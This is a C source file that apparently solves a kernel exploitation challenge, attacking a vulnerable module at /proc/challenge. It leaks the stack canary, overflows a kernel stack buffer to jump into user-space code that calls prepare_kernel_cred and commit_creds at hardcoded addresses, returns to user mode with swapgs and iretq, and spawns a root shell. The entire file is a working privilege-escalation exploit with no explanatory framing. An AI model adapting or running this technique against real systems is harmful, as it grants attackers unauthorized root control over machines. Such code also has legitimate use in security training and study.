text: #include <stdio.h>
  #include <stdlib.h>
  #include <assert.h>
  #include <unistd.h>
  #include <fcntl.h>
  
  unsigned long save_ss, save_sp, save_rf, save_cs;
  
  void shell()
  {
      system("/bin/sh");
  }
  
  void save_user_space()
  {
      /* save user-space */
      __asm__(
          ".intel_syntax noprefix;"
          "mov save_ss, ss;"
          "mov save_sp, rsp;"
          "pushf;"
          "pop save_rf;"
          "mov save_cs, cs;"
          ".att_syntax;"
      ); 
  }
  
  void load_user_space(unsigned long target)
  {
      /* return to user-space */
      __asm__(
          ".intel_syntax noprefix;"
          "swapgs;"
          "mov r15, save_ss;"
          "push r15;"
          "mov r15, save_sp;"
          "push r15;"
          "mov r15, save_rf;"
          "push r15;"
          "mov r15, save_cs;"
          "push r15;"
          "mov r15, %[rip];"
          "push r15;"
          "iretq;"
          ".att_syntax;"
          : [rip] "=&r" (target)
      );
  }
  
  void escalate_privileges()
  {
      /* escalate privileges */
      __asm__(
          ".intel_syntax noprefix;"
          "xor rdi, rdi;"
          "movabs rbx, 0xffffffff810881c0;"  // prepare_kernel_cred
          "call rbx;"
          "movabs rbx, 0xffffffff81087e80;"  // commit_creds
          "mov rdi, rax;"
          "call rbx;"
          ".att_syntax;"
      );
  
      /* return to user-space */
      load_user_space((unsigned long)shell);
  }
  
  unsigned long leak_canary(int fd)
  {
      unsigned long leak[5];
      read(fd, leak, sizeof(unsigned long) * 5);
      return leak[4];
  }
  
  void overflow_buffer(int fd, unsigned long canary)
  {
      unsigned long payload[6];
  
      payload[4] = canary;
      payload[5] = (unsigned long)escalate_privileges;
  
      write(fd, payload, sizeof(unsigned long) * 6);
  }
  
  int main(int argc, char **argv)
  {
      save_user_space();
  
      int fd = open("/proc/challenge", O_RDWR);
      assert(fd > 0);
  
      /* leak stack canary */
      unsigned long canary = leak_canary(fd);
      printf("[*] canary @ 0x%lx\n", canary);
  
      overflow_buffer(fd, canary); 
  
      return 0;
  }
  
  